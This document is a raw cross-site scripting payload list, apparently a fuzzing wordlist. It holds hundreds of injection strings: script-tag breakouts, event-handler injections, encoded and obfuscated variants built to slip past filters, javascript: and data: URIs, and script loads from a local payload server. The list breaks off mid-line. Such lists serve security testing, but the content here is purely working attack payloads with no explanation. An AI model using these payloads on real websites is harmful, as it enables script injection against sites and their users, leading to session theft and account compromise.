>a=/X/\r\n\"><SCRIPT>a=/X/\r\n</ScrIpt><SCRIPT>a=/X/\r\n'><SCRIPT>a=/X/\r\n</ScrIpt><SCRIPT>a=/X/\\nalert(1);</SCRIPT>\r\n\"><SCRIPT>a=/X/\r\n</ScrIpt><SCRIPT>a=/X/\r\n\"><SCRIPT>a=/X/\r\n</ScrIpt><SCRIPT>a=/X/\r\n'><SCRIPT>a=/X/\r\n</ScrIpt><SCRIPT>a=/X/\\nalert(1);</SCRIPT>\r\n</ScrIpt><SCRIPT>a=/X/\r\n</ScrIpt><SCRIPT>a=/X/\r\n\"><SCRIPT>a=/X/\r\n</ScrIpt><SCRIPT>a=/X/\r\n'><SCRIPT>a=/X/\r\n</ScrIpt><SCRIPT>a=/X/\\nalert(1);</SCRIPT>\r\n'><SCRIPT>a=/X/\r\n</ScrIpt><SCRIPT>a=/X/\r\n\"><SCRIPT>a=/X/\r\n</ScrIpt><SCRIPT>a=/X/\r\n'><SCRIPT>a=/X/\r\n</ScrIpt><SCRIPT>a=/X/\\nalert(1);</SCRIPT>\r\n</ScrIpt><SCRIPT>a=/X/\r\n</ScrIpt><SCRIPT>a=/X/\r\n\"><SCRIPT>a=/X/\r\n</ScrIpt><SCRIPT>a=/X/\r\n'><SCRIPT>a=/X/\r\n</ScrIpt><SCRIPT>a=/X/\\nalert(1);</SCRIPT>\r\n<script>alert([!![]]+[])</script>\r\n</ScrIpt><script>alert([!![]]+[])</script>\r\n\"><script>alert([!![]]+[])</script>\r\n</ScrIpt><script>alert([!![]]+[])</script>\r\n'><script>alert([!![]]+[])</script>\r\n</ScrIpt><script>alert([!![]]+[])</script>\r\n<script>prompt(-[])</script>\r\n</ScrIpt><script>prompt(-[])</script>\r\n\"><script>prompt(-[])</script>\r\n</ScrIpt><script>prompt(-[])</script>\r\n'><script>prompt(-[])</script>\r\n</ScrIpt><script>prompt(-[])</script>\r\n<scr/**/ipt>alert(1)</sc/**/ipt>\r\n\"><scr/**/ipt>alert(1)</sc/**/ipt>\r\n'><scr/**/ipt>alert(1)</sc/**/ipt>\r\n#<script>alert(1)</script>\r\n</ScrIpt><script>alert(1)</script>\r\n\"><script>alert(1)</script>\r\n</ScrIpt><script>alert(1)</script>\r\n'><script>alert(1)</script>\r\n</ScrIpt><script>alert(1)</script>\r\n\\'><script>X<\\/script>\r\n\\'><body onload=\\'X\\'>\r\n><script>X<\\/script>\r\n<body onload=\"X\">\r\n\"><body onload=\"X\">\r\n'><body onload=\"X\">\r\n<img src=\"x:X\" onerror=\"alert(1)\">\r\n\"><img src=\"x:X\" onerror=\"alert(1)\">\r\n'><img src=\"x:X\" onerror=\"alert(1)\">\r\n<img src=a onerror=alert(1)\r\n\"><img src=a onerror=alert(1)\r\n'><img src=a onerror=alert(1)%0A>a\r\n\"><img src=a onerror=alert(1)%0A>a\r\n'><img src=a onerror=alert(1)%0A>a\r\nonmouseover=alert(1);\r\n<<SCRIPT>alert(1);/\r\n\"><<SCRIPT>alert(1);/\r\n'><<SCRIPT>alert(1);/\r\n<SCRIPT>a=/X/\r\n</ScrIpt><SCRIPT>a=/X/\r\n\"><SCRIPT>a=/X/\r\n</ScrIpt><SCRIPT>a=/X/\r\n'><SCRIPT>a=/X/\r\n</ScrIpt><SCRIPT>a=/X/\r\nalert(1)\r\nalert(String.fromCharCode(49))\r\nalert(/1/.source)\r\neval('alert(1)')\r\nthis['EvAL'.toLowerCase()]('aLErT(1)'.toLowerCase())\r\n(alert(1)).replace(/.+/,eval);\r\n\\u0061\\u006c\\u0065\\u0072\\u0074(1)\r\neval('\\u00' + '6' + '1'+'le' + '\\u0072' + 't(1)')\r\neval('\\141\\154\\145\\162\\164\\50\\61\\51')\r\neval('\\x61\\x6c\\x65\\x72\\x74(1)')\r\neval('\\x61ler\\x74(1)')\r\ntop['a\\x6Cert'](1)\r\nx='\\x61\\x6c\\x65\\x72\\x74\\x28\\x31\\x29';new Function(x)()\r\nsetTimeout('alert(1)',0)\r\nsetTimeout(\\u0061\\u006c\\u0065\\u0072\\u0074(1),0);\r\nonerror=eval;throw'alert\\x281\\x29';\r\nexpression(URL=0)\r\nexpr\\65 ssion(URL=0)\r\nexpr\\65 ss/*???*/ion(URL=0);\r\nexpression\\28URL=0\\29\r\nexpr\\65 ss/*\\&#x25;/ion\\28URL=0\\29\r\n\\000045xpr\\000065 ss/*BlABl/\\\\aaaaa!!!*\r\nfeed:javascript:alert(1)\r\nfeed:javascript&colon;alert(1)\r\nfeed:data:text/html,%3cscript%3ealert%281%29%3c/script%3e\r\nfeed:data:text/html,%3csvg%20onload=alert%281%29%3e\r\ndata:text/html,%3Cscript%3Ealert(1)%3C/script%3E\r\nd&#x61;t&#x61;&colon;text/html;base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==\r\ndata:_;;;:;base64_______,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==\r\n<LAYER SRC=\"javascript:alert(1);\"></LAYER>\r\n\"><LAYER SRC=\"javascript:alert(1);\"></LAYER>\r\n'><LAYER SRC=\"javascript:alert(1);\"></LAYER>\r\n<LINK REL=\"stylesheet\" HREF=\"javascript:alert(1);\">\r\n\"><LINK REL=\"stylesheet\" HREF=\"javascript:alert(1);\">\r\n'><LINK REL=\"stylesheet\" HREF=\"javascript:alert(1);\">\r\n<!--[if gte IE 4]><SCRIPT>alert(1);</SCRIPT>\r\n</ScrIpt><SCRIPT>alert(1);</SCRIPT>\r\n\"><SCRIPT>alert(1);</SCRIPT>\r\n</ScrIpt><SCRIPT>alert(1);</SCRIPT>\r\n'><SCRIPT>alert(1);</SCRIPT>\r\n</ScrIpt><SCRIPT>alert(1);</SCRIPT><![endif]-->\r\n\"><!--[if gte IE 4]><SCRIPT>alert(1);</SCRIPT>\r\n</ScrIpt><SCRIPT>alert(1);</SCRIPT>\r\n\"><SCRIPT>alert(1);</SCRIPT>\r\n</ScrIpt><SCRIPT>alert(1);</SCRIPT>\r\n'><SCRIPT>alert(1);</SCRIPT>\r\n</ScrIpt><SCRIPT>alert(1);</SCRIPT><![endif]-->\r\n'><!--[if gte IE 4]><SCRIPT>alert(1);</SCRIPT>\r\n</ScrIpt><SCRIPT>alert(1);</SCRIPT>\r\n\"><SCRIPT>alert(1);</SCRIPT>\r\n</ScrIpt><SCRIPT>alert(1);</SCRIPT>\r\n'><SCRIPT>alert(1);</SCRIPT>\r\n</ScrIpt><SCRIPT>alert(1);</SCRIPT><![endif]-->\r\n<BASE HREF=\"javascript:alert(1);//\">\r\n\"><BASE HREF=\"javascript:alert(1);//\">\r\n'><BASE HREF=\"javascript:alert(1);//\">\r\ndata:text/html;base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==\r\n<script>alert(String.fromCharCode(75,67,70))</script>\r\n</ScrIpt><script>alert(String.fromCharCode(75,67,70))</script>\r\n\"><script>alert(String.fromCharCode(75,67,70))</script>\r\n</ScrIpt><script>alert(String.fromCharCode(75,67,70))</script>\r\n'><script>alert(String.fromCharCode(75,67,70))</script>\r\n</ScrIpt><script>alert(String.fromCharCode(75,67,70))</script>\r\n<IFRAME SRC=\"javascript:alert(1);\"></IFRAME>\r\n\"><IFRAME SRC=\"javascript:alert(1);\"></IFRAME>\r\n'><IFRAME SRC=\"javascript:alert(1);\"></IFRAME>\r\n<iframe src=\"javascript:alert(1); <\r\n\"><iframe src=\"javascript:alert(1); <\r\n'><iframe src=\"javascript:alert(1); <\r\n<object data=\"data:text/html;base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==\"></object>\r\n\"><object data=\"data:text/html;base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==\"></object>\r\n'><object data=\"data:text/html;base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==\"></object>\r\n<SCRIPT>x=/X/  alert(x.source)</SCRIPT>\r\n</ScrIpt><SCRIPT>x=/X/  alert(x.source)</SCRIPT>\r\n\"><SCRIPT>x=/X/  alert(x.source)</SCRIPT>\r\n</ScrIpt><SCRIPT>x=/X/  alert(x.source)</SCRIPT>\r\n'><SCRIPT>x=/X/  alert(x.source)</SCRIPT>\r\n</ScrIpt><SCRIPT>x=/X/  alert(x.source)</SCRIPT>\r\n<BODY ONLOAD=alert(1)>\r\n\"><BODY ONLOAD=alert(1)>\r\n'><BODY ONLOAD=alert(1)>\r\n<ScRiPt+>prompt(1)</ScRiPt>\r\n\"><ScRiPt+>prompt(1)</ScRiPt>\r\n'><ScRiPt+>prompt(1)</ScRiPt>\r\n<img src=X onerror=alert(1)>\r\n\"><img src=X onerror=alert(1)>\r\n'><img src=X onerror=alert(1)>\r\n<img src=/ onerror=alert(1);>\r\n\"><img src=/ onerror=alert(1);>\r\n'><img src=/ onerror=alert(1);>\r\n<BODY BACKGROUND=\"javascript:alert(1)\">\r\n\"><BODY BACKGROUND=\"javascript:alert(1)\">\r\n'><BODY BACKGROUND=\"javascript:alert(1)\">\r\n<TABLE BACKGROUND=\"javascript:alert(1)\">\r\n\"><TABLE BACKGROUND=\"javascript:alert(1)\">\r\n'><TABLE BACKGROUND=\"javascript:alert(1)\">\r\n<IMG SRC='vbscript:msgbox(1)'>\r\n\"><IMG SRC='vbscript:msgbox(1)'>\r\n'><IMG SRC='vbscript:msgbox(1)'>\r\n<ScriPt>ALeRt(? X ?)</scriPt>\r\n</ScrIpt><ScriPt>ALeRt(? X ?)</scriPt>\r\n\"><ScriPt>ALeRt(? X ?)</scriPt>\r\n</ScrIpt><ScriPt>ALeRt(? X ?)</scriPt>\r\n'><ScriPt>ALeRt(? X ?)</scriPt>\r\n</ScrIpt><ScriPt>ALeRt(? X ?)</scriPt>\r\n<a href=\"javascript#alert(1);\">\r\n\"><a href=\"javascript#alert(1);\">\r\n'><a href=\"javascript#alert(1);\">\r\n<div onmouseover=\"alert(1);\">\r\n\"><div onmouseover=\"alert(1);\">\r\n'><div onmouseover=\"alert(1);\">\r\n<BR SIZE=\"&{alert(1)}\">\r\n\"><BR SIZE=\"&{alert(1)}\">\r\n'><BR SIZE=\"&{alert(1)}\">\r\n&<script>alert(1);</script>\r\n</ScrIpt><script>alert(1);</script>\r\n\"><script>alert(1);</script>\r\n</ScrIpt><script>alert(1);</script>\r\n'><script>alert(1);</script>\r\n</ScrIpt><script>alert(1);</script>\r\n&{alert(1);};\r\n<img src=&{alert(1);};>\r\n\"><img src=&{alert(1);};>\r\n'><img src=&{alert(1);};>\r\n<img src=\"mocha:alert(1);\">\r\n\"><img src=\"mocha:alert(1);\">\r\n'><img src=\"mocha:alert(1);\">\r\n<img src=\"livescript:alert(1);\">\r\n\"><img src=\"livescript:alert(1);\">\r\n'><img src=\"livescript:alert(1);\">\r\n<a href=\"about:<script>alert(1);</script>\r\n</ScrIpt><script>alert(1);</script>\r\n\"><script>alert(1);</script>\r\n</ScrIpt><script>alert(1);</script>\r\n'><script>alert(1);</script>\r\n</ScrIpt><script>alert(1);</script>\">\r\n[\\xC0][\\xBC]script>alert(1);[\\xC0][\\xBC]/script>\" };\r\n<object classid=\"clsid:...\" codebase=\"javascript:alert(1);\">\r\n\"><object classid=\"clsid:...\" codebase=\"javascript:alert(1);\">\r\n'><object classid=\"clsid:...\" codebase=\"javascript:alert(1);\">\r\n<style><!--</style><script>alert(1);//--></script>\r\n\"><style><!--</style><script>alert(1);//--></script>\r\n'><style><!--</style><script>alert(1);//--></script>\r\n<![CDATA[<!--]]<script>alert(1);//--></script>\r\n\"><![CDATA[<!--]]<script>alert(1);//--></script>\r\n'><![CDATA[<!--]]<script>alert(1);//--></script>\r\n<!-- -- --><script>alert(1);</script>\r\n</ScrIpt><script>alert(1);</script>\r\n\"><script>alert(1);</script>\r\n</ScrIpt><script>alert(1);</script>\r\n'><script>alert(1);</script>\r\n</ScrIpt><script>alert(1);</script><!-- -- -->\r\njavascript:/*-->]]>%>?></script></title></textarea></noscript></style></xmp>\">[img=1,name=/alert(1)/.source]<img -/style=a:expression&#40&#47&#42'/-/*&#39,/**/eval(name)/*%2A///*///&#41;;width:100%;height:100%;position:absolute;-ms-behavior:url(#default#time2) name=alert(1) onerror=eval(name) src=1 autofocus onfocus=eval(name) onclick=eval(name) onmouseover=eval(name) onbegin=eval(name) background=javascript:eval(name)//>\"\r\n<EMBED SRC=\"http://127.0.0.1:3555/xss_serve_payloads/flash.swf\"></EMBED>\r\n\"><EMBED SRC=\"http://127.0.0.1:3555/xss_serve_payloads/flash.swf\"></EMBED>\r\n'><EMBED SRC=\"http://127.0.0.1:3555/xss_serve_payloads/flash.swf\"></EMBED>\r\n<img src=\"http://127.0.0.1:3555/xss_serve_payloads/image.png\" onerror=alert(1)>\r\n\"><img src=\"http://127.0.0.1:3555/xss_serve_payloads/image.png\" onerror=alert(1)>\r\n'><img src=\"http://127.0.0.1:3555/xss_serve_payloads/image.png\" onerror=alert(1)>\r\n<img src=\"http://127.0.0.1:3555/xss_serve_payloads/gif.gif\" onerror=alert(1)>\r\n\"><img src=\"http://127.0.0.1:3555/xss_serve_payloads/gif.gif\" onerror=alert(1)>\r\n'><img src=\"http://127.0.0.1:3555/xss_serve_payloads/gif.gif\" onerror=alert(1)>\r\n<img src=\"http://127.0.0.1:3555/xss_serve_payloads/bmp.bmp\" onerror=alert(1)>\r\n\"><img src=\"http://127.0.0.1:3555/xss_serve_payloads/bmp.bmp\" onerror=alert(1)>\r\n'><img src=\"http://127.0.0.1:3555/xss_serve_payloads/bmp.bmp\" onerror=alert(1)>\r\n<img src=\"http://127.0.0.1:3555/xss_serve_payloads/jpg.jpg\" onerror=alert(1)>\r\n\"><img src=\"http://127.0.0.1:3555/xss_serve_payloads/jpg.jpg\" onerror=alert(1)>\r\n'><img src=\"http://127.0.0.1:3555/xss_serve_payloads/jpg.jpg\" onerror=alert(1)>\r\n<meta HTTP-EQUIV=\"REFRESH\" content=\"0; url=http://127.0.0.1:3555/xss_serve_payloads/X.html\">\r\n\"><meta HTTP-EQUIV=\"REFRESH\" content=\"0; url=http://127.0.0.1:3555/xss_serve_payloads/X.html\">\r\n'><meta HTTP-EQUIV=\"REFRESH\" content=\"0; url=http://127.0.0.1:3555/xss_serve_payloads/X.html\">\r\n<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=data:text/html; base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==\">\r\n\"><META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=data:text/html; base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==\">\r\n'><META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=data:text/html; base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==\">\r\n<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=data:image/svg+xml; base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==\">\r\n\"><META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=data:image/svg+xml; base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==\">\r\n'><META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=data:image/svg+xml; base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==\">\r\n<BGSOUND SRC=\"javascript:alert(1);\">\r\n\"><BGSOUND SRC=\"javascript:alert(1);\">\r\n'><BGSOUND SRC=\"javascript:alert(1);\">\r\n<script type=\"text/javascript\">window.open(\"http://127.0.0.1:3555/xss_serve_payloads/X.html\",\"_self\");</script>\r\n\"><script type=\"text/javascript\">window.open(\"http://127.0.0.1:3555/xss_serve_payloads/X.html\",\"_self\");</script>\r\n'><script type=\"text/javascript\">window.open(\"http://127.0.0.1:3555/xss_serve_payloads/X.html\",\"_self\");</script>\r\n<SCRIPT =\">\" SRC=\"http://127.0.0.1:3555/xss_serve_payloads/X.js\"></SCRIPT>\r\n\"><SCRIPT =\">\" SRC=\"http://127.0.0.1:3555/xss_serve_payloads/X.js\"></SCRIPT>\r\n'><SCRIPT =\">\" SRC=\"http://127.0.0.1:3555/xss_serve_payloads/X.js\"></SCRIPT>\r\n<SCRIPT a=\">\" SRC=\"http://127.0.0.1:3555/xss_serve_payloads/X.js\"></SCRIPT>\r\n\"><SCRIPT a=\">\" SRC=\"http://127.0.0.1:3555/xss_serve_payloads/X.js\"></SCRIPT>\r\n'><SCRIPT a=\">\" SRC=\"http://127.0.0.1:3555/xss_serve_payloads/X.js\"></SCRIPT>\r\n<SCRIPT a=\">\" '' SRC=\"http://127.0.0.1:3555/xss_serve_payloads/X.js\"></SCRIPT>\r\n\"><SCRIPT a=\">\" '' SRC=\"http://127.0.0.1:3555/xss_serve_payloads/X.js\"></SCRIPT>\r\n'><SCRIPT a=\">\" '' SRC=\"http://127.0.0.1:3555/xss_serve_payloads/X.js\"></SCRIPT>\r\n<SCRIPT \"a='>'\" SRC=\"http://127.0.0.1:3555/xss_serve_payloads/X.js\"></SCRIPT>\r\n\"><SCRIPT \"a='>'\" SRC=\"http://127.0.0.1:3555/xss_serve_payloads/X.js\"></SCRIPT>\r\n'><SCRIPT \"a='>'\" SRC=\"http://127.0.0.1:3555/xss_serve_payloads/X.js\"></SCRIPT>\r\n<SCRIPT a=`>` SRC=\"http://127.0.0.1:3555/xss_serve_payloads/X.js\"></SCRIPT>\r\n\"><SCRIPT a=`>` SRC=\"http://127.0.0.1:3555/xss_serve_payloads/X.js\"></SCRIPT>\r\n'><SCRIPT a=`>` SRC=\"http://127.0.0.1:3555/xss_serve_payloads/X.js\"></SCRIPT>\r\n<SCRIPT a=\">'>\" SRC=\"http://127.0.0.1:3555/xss_serve_payloads/X.js\"></SCRIPT>\r\n\"><SCRIPT a=\">'>\" SRC=\"http://127.0.0.1:3555/xss_serve_payloads/X.js\"></SCRIPT>\r\n'><SCRIPT a=\">'>\" SRC=\"http://127.0.0.1:3555/xss_serve_payloads/X.js\"></SCRIPT>\r\n<SCRIPT =\">\" SRC=\"http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp\"></SCRIPT>\r\n\"><SCRIPT =\">\" SRC=\"http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp\"></SCRIPT>\r\n'><SCRIPT =\">\" SRC=\"http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp\"></SCRIPT>\r\n<SCRIPT a=\">\" SRC=\"http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp\"></SCRIPT>\r\n\"><SCRIPT a=\">\" SRC=\"http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp\"></SCRIPT>\r\n'><SCRIPT a=\">\" SRC=\"http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp\"></SCRIPT>\r\n<SCRIPT a=\">\" '' SRC=\"http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp\"></SCRIPT>\r\n\"><SCRIPT a=\">\" '' SRC=\"http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp\"></SCRIPT>\r\n'><SCRIPT a=\">\" '' SRC=\"http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp\"></SCRIPT>\r\n<SCRIPT \"a='>'\" SRC=\"http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp\"></SCRIPT>\r\n\"><SCRIPT \"a='>'\" SRC=\"http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp\"></SCRIPT>\r\n'><SCRIPT \"a='>'\" SRC=\"http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp\"></SCRIPT>\r\n<SCRIPT a=`>` SRC=\"http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp\"></SCRIPT>\r\n\"><SCRIPT a=`>` SRC=\"http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp\"></SCRIPT>\r\n'><SCRIPT a=`>` SRC=\"http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp\"></SCRIPT>\r\n<SCRIPT a=\">'>\" SRC=\"http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp\"></SCRIPT>\r\n\"><SCRIPT a=\">'>\" SRC=\"http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp\"></SCRIPT>\r\n'><SCRIPT a=\">'>\" SRC=\"http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp\"></SCRIPT>\r\n<TABLE><TD BACKGROUND=\"javascript:alert(1)\">\r\n\"><TABLE><TD BACKGROUND=\"javascript:alert(1)\">\r\n'><TABLE><TD BACKGROUND=\"javascript:alert(1)\">\r\n<img src='http://127.0.0.1:3555/xss_serve_payloads/gif.gif' onload='document.scripts(0).src=\"http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp\"'>\r\n\"><img src='http://127.0.0.1:3555/xss_serve_payloads/gif.gif' onload='document.scripts(0).src=\"http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp\"'>\r\n'><img src='http://127.0.0.1:3555/xss_serve_payloads/gif.gif' onload='document.scripts(0).src=\"http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp\"'>\r\n<img src='http://127.0.0.1:3555/xss_serve_payloads/gif.gif' onload='document.scripts(0).src=\"http://127.0.0.1:3555/xss_serve_payloads/X.js\"'>\r\n\"><img src='http://127.0.0.1:3555/xss_serve_payloads/gif.gif' onload='document.scripts(0).src=\"http://127.0.0.1:3555/xss_serve_payloads/X.js\"'>\r\n'><img src='http://127.0.0.1:3555/xss_serve_payloads/gif.gif' onload='document.scripts(0).src=\"http://127.0.0.1:3555/xss_serve_payloads/X.js\"'>\r\n<img src='http://127.0.0.1:3555/xss_serve_payloads/xxxgif.gif' onerror='document.scripts(0).src=\"http://127.0.0.1:3555/xss_serve_payloads/X.js\"'>\r\n\"><img src='http://127.0.0.1:3555/xss_serve_payloads/xxxgif.gif' onerror='document.scripts(0).src=\"http://127.0.0.1:3555/xss_serve_payloads/X.js\"'>\r\n'><img src='http://127.0.0.1:3555/xss_serve_payloads/xxxgif.gif' onerror='document.scripts(0).src=\"http://127.0.0.1:3555/xss_serve_payloads/X.js\"'>\r\n<img src='http://127.0.0.1:3555/xss_serve_payloads/xxxgif.gif' onerror='document.scripts(0).src=\"http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp\"'>\r\n\"><img src='http://127.0.0.1:3555/xss_serve_payloads/xxxgif.gif' onerror='document.scripts(0).src=\"http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp\"'>\r\n'><img src='http://127.0.0.1:3555/xss_serve_payloads/xxxgif.gif' onerror='document.scripts(0).src=\"http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp\"'>\r\n<img src='http://127.0.0.1:3555/xss_serve_payloads/X.html' onload=alert(1)//></img>\r\n\"><img src='http://127.0.0.1:3555/xss_serve_payloads/X.html' onload=alert(1)//></img>\r\n'><img src='http://127.0.0.1:3555/xss_serve_payloads/X.html' onload=alert(1)//></img>\r\n<script>alert((+[][+[]]+[])[++[[]][+[]]]+([![]]+[])[++[++[[]][+[]]][+[]]]+([!![]]+[])[++[++[++[[]][+[]]][+[]]][+[]]]+([!![]]+[])[++[[]][+[]]]+([!![]]+[])[+[]])</script>\r\n</ScrIpt><script>alert((+[][+[]]+[])[++[[]][+[]]]+([![]]+[])[++[++[[]][+[]]][+[]]]+([!![]]+[])[++[++[++[[]][+[]]][+[]]][+[]]]+([!![]]+[])[++[[]][+[]]]+([!![]]+[])[+[]])</script>\r\n\"><script>alert((+[][+[]]+[])[++[[]][+[]]]+([![]]+[])[++[++[[]][+[]]][+[]]]+([!![]]+[])[++[++[++[[]][+[]]][+[]]][+[]]]+([!![]]+[])[++[[]][+[]]]+([!![]]+[])[+[]])</script>\r\n</ScrIpt><script>alert((+[][+[]]+[])[++[[]][+[]]]+([![]]+[])[++[++[[]][+[]]][+[]]]+([!![]]+[])[++[++[++[[]][+[]]][+[]]][+[]]]+([!![]]+[])[++[[]][+[]]]+([!![]]+[])[+[]])</script>\r\n'><script>alert((+[][+[]]+[])[++[[]][+[]]]+([![]]+[])[++[++[[]][+[]]][+[]]]+([!![]]+[])[++[++[++[[]][+[]]][+[]]][+[]]]+([!![]]+[])[++[[]][+[]]]+([!![]]+[])[+[]])</script>\r\n</ScrIpt><script>alert((+[][+[]]+[])[++[[]][+[]]]+([![]]+[])[++[++[[]][+[]]][+[]]]+([!![]]+[])[++[++[++[[]][+[]]][+[]]][+[]]]+([!![]]+[])[++[[]][+[]]]+([!![]]+[])[+[]])</script>\r\n<img src=&#106;&#97;&#118;&#97;&#115;&#99; &#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101; &#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>\r\n\"><img src=&#106;&#97;&#118;&#97;&#115;&#99; &#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101; &#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>\r\n'><img src=&#106;&#97;&#118;&#97;&#115;&#99; &#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101; &#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>\r\n<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69 &#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27 &#x58&#x53&#x53&#x27&#x29>\r\n\"><IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69 &#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27 &#x58&#x53&#x53&#x27&#x29>\r\n'><IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69 &#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27 &#x58&#x53&#x53&#x27&#x29>\r\n<img src=&#0000106&#0000097&#0000118&#0000097 &#0000115&#0000099&#0000114&#0000105&#0000112 &#0000116&#0000058&#0000097&#0000108&#0000101 &#0000114&#0000116&#0000040&#0000039&#0000088 &#0000083&#0000083&#0000039&#0000041>\r\n\"><img src=&#0000106&#0000097&#0000118&#0000097 &#0000115&#0000099&#0000114&#0000105&#0000112 &#0000116&#0000058&#0000097&#0000108&#0000101 &#0000114&#0000116&#0000040&#0000039&#0000088 &#0000083&#0000083&#0000039&#0000041>\r\n'><img src=&#0000106&#0000097&#0000118&#0000097 &#0000115&#0000099&#0000114&#0000105&#0000112 &#0000116&#0000058&#0000097&#0000108&#0000101 &#0000114&#0000116&#0000040&#0000039&#0000088 &#0000083&#0000083&#0000039&#0000041>\r\n?><script>prompt(1)</script>\r\n</ScrIpt><script>prompt(1)</script>\r\n\"><script>prompt(1)</script>\r\n</ScrIpt><script>prompt(1)</script>\r\n'><script>prompt(1)</script>\r\n</ScrIpt><script>prompt(1)</script>\r\n?><script>alert(String.fromCharCode(75,67,70))</script>\r\n</ScrIpt><script>alert(String.fromCharCode(75,67,70))</script>\r\n\"><script>alert(String.fromCharCode(75,67,70))</script>\r\n</ScrIpt><script>alert(String.fromCharCode(75,67,70))</script>\r\n'><script>alert(String.fromCharCode(75,67,70))</script>\r\n</ScrIpt><script>alert(String.fromCharCode(75,67,70))</script>\r\n?><script>prompt(1)</script>\r\n</ScrIpt><script>prompt(1)</script>\r\n\"><script>prompt(1)</script>\r\n</ScrIpt><script>prompt(1)</script>\r\n'><script>prompt(1)</script>\r\n</ScrIpt><script>prompt(1)</script>\r\n?><script>alert(String.fromCharCode(75,67,70))</script>\r\n</ScrIpt><script>alert(String.fromCharCode(75,67,70))</script>\r\n\"><script>alert(String.fromCharCode(75,67,70))</script>\r\n</ScrIpt><script>alert(String.fromCharCode(75,67,70))</script>\r\n'><script>alert(String.fromCharCode(75,67,70))</script>\r\n</ScrIpt><script>alert(String.fromCharCode(75,67,70))</script>\r\n<ScRIPt>prompt(1)</ScRIPt>\r\n</ScrIpt><ScRIPt>prompt(1)</ScRIPt>\r\n\"><ScRIPt>prompt(1)</ScRIPt>\r\n</ScrIpt><ScRIPt>prompt(1)</ScRIPt>\r\n'><ScRIPt>prompt(1)</ScRIPt>\r\n</ScrIpt><ScRIPt>prompt(1)</ScRIPt>\r\n<ScRIPt<aLeRT(String.fromCharCode(75,67,70))</ScRIPt>\r\n\"><ScRIPt<aLeRT(String.fromCharCode(75,67,70))</ScRIPt>\r\n'><ScRIPt<aLeRT(String.fromCharCode(75,67,70))</ScRIPt>\r\n?><ScRIPt>prompt(1)</ScRIPt>\r\n</ScrIpt><ScRIPt>prompt(1)</ScRIPt>\r\n\"><ScRIPt>prompt(1)</ScRIPt>\r\n</ScrIpt><ScRIPt>prompt(1)</ScRIPt>\r\n'><ScRIPt>prompt(1)</ScRIPt>\r\n</ScrIpt><ScRIPt>prompt(1)</ScRIPt>\r\n?><ScRIPt<aLeRT(String.fromCharCode(75,67,70))</ScRIPt>\r\n\"><ScRIPt<aLeRT(String.fromCharCode(75,67,70))</ScRIPt>\r\n'><ScRIPt<aLeRT(String.fromCharCode(75,67,70))</ScRIPt>\r\n?><ScRIPt>prompt(1)</ScRIPt>\r\n</ScrIpt><ScRIPt>prompt(1)</ScRIPt>\r\n\"><ScRIPt>prompt(1)</ScRIPt>\r\n</ScrIpt><ScRIPt>prompt(1)</ScRIPt>\r\n'><ScRIPt>prompt(1)</ScRIPt>\r\n</ScrIpt><ScRIPt>prompt(1)</ScRIPt>\r\n?><ScRIPt<aLeRT(String.fromCharCode(75,67,70))</ScRIPt>\r\n\"><ScRIPt<aLeRT(String.fromCharCode(75,67,70))</ScRIPt>\r\n'><ScRIPt<aLeRT(String.fromCharCode(75,67,70))</ScRIPt>\r\n</script><script>prompt(1)</script>\r\n</ScrIpt><script>prompt(1)</script>\r\n\"><script>prompt(1)</script>\r\n</ScrIpt><script>prompt